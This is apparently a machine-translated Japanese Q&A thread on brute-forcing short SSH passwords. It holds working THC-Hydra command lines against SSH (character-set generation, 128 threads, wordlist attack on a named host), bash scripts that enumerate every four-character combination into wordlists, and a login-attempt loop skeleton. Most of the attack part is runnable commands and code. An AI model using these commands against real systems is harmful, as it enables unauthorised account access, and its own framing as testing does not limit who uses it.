特定のコンピュータがそのような短いパスワードでのみ保護されていることを知っているとしたら、考えられるすべての組み合わせを簡単に試すことができます。
パスワードを解読しようとするスクリプトはどのように見えますか?
何かのようなもの
#!/bin/bash
wordlist=create_wordlist(); # external defined
for i in $(cat $wordlist); do
echo ssh username@localhost pipe password $i here;
done
(わかっています、これは良い例ではありませんが、私のbashスキルはまだそれほど良くありません)
hydra
はパスワードを生成します。ブルートフォースを使用する場合は、これらを個別に生成する必要はありません。
hydra -l user_name -V -x 4:4:aA1 ip_address ssh
-Vは冗長を意味し、-x 4:4:aA1
は最小が4文字、最大が4文字であることを意味します。文字のリストはaで示されるa-z、Aで示されるA-Z、1で示される0-9です。%_-+/
のような他の文字を追加できます。
スペース、^、&、*、または ":のような特殊文字を追加する場合は、-xオプションをアポストロフィで囲む必要があります。
hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()=`~?><;:%^&*_-+/,.\ ' localhost ssh
これにはbashなどの汎用スクリプト言語を使用できますが、とにかく速度の観点から THC-Hydra のようなブルートフォース攻撃のテストに焦点を当てたセキュリティツールを使用すると、より良い結果が得られる可能性があります。
これが結論です:
nano /tmp/create_wordlist_case_sensitive.sh
#!/usr/bin/bash
letters="- . , _ "$(echo {0..9} {A..z})
run1=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo $letters) | sed 's/\[ \] \^ \_ \` //'` )
echo '-'
for a in "${run1[@]}"
do
echo "$a"
for b in "${run2[@]}"
do
echo "$a$b"
for c in "${run3[@]}"
do
echo "$a$b$c"
for d in "${run4[@]}"
do
echo "$a$b$c$d"
done
done
done
done
bash /tmp/create_wordlist_case_sensitive.sh >/tmp/Word_list_long.txt
hydra -l john -P /tmp/Word_list_long.txt attack_Host ssh
以下は、4文字の可能な組み合わせすべてのリストを生成する2つのbashスクリプトです。最初は小文字の組み合わせ(create_wordlist_case_insensitive.sh
)、2番目は大文字と小文字のすべての組み合わせ(create_wordlist_case_sensitive.sh
)。
$ cat create_wordlist_case_insensitive.sh
#!/usr/bin/bash
for a in {a..z}
do
for b in {a..z}
do
for c in {a..z}
do
for d in {a..z}
do
echo "$a$b$c$d"
done
done
done
done
$ cat create_wordlist_case_sensitive.sh
#!/usr/bin/bash
run1=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run2=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run3=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
run4=( `echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \` //'` )
for a in "${run1[@]}"
do
for b in "${run2[@]}"
do
for c in "${run3[@]}"
do
for d in "${run4[@]}"
do
echo "$a$b$c$d"
done
done
done
done
これらを使用して、次のようにワードリストファイルを作成します。
$ create_wordlist_case_insensitive.sh >Word_list_short.txt
$ create_wordlist_case_sensitive.sh >Word_list_long.txt
その後、スクリプトは次のように必要なファイルをループできます。
$ cat forceit.sh
#!/usr/bin/bash
while read line
do
echo "Trying: $line"
echo ssh intaudftp@file --password "$line" ## NOT REAL CODE
done < Word_list_short.txt
コードのそのセグメントをexpect
で自動化する必要がありますが、ここではその方法を説明しません。あるいは、telnet
のように、引数としてパスワードを受け入れる別のコマンドを使用できると思います。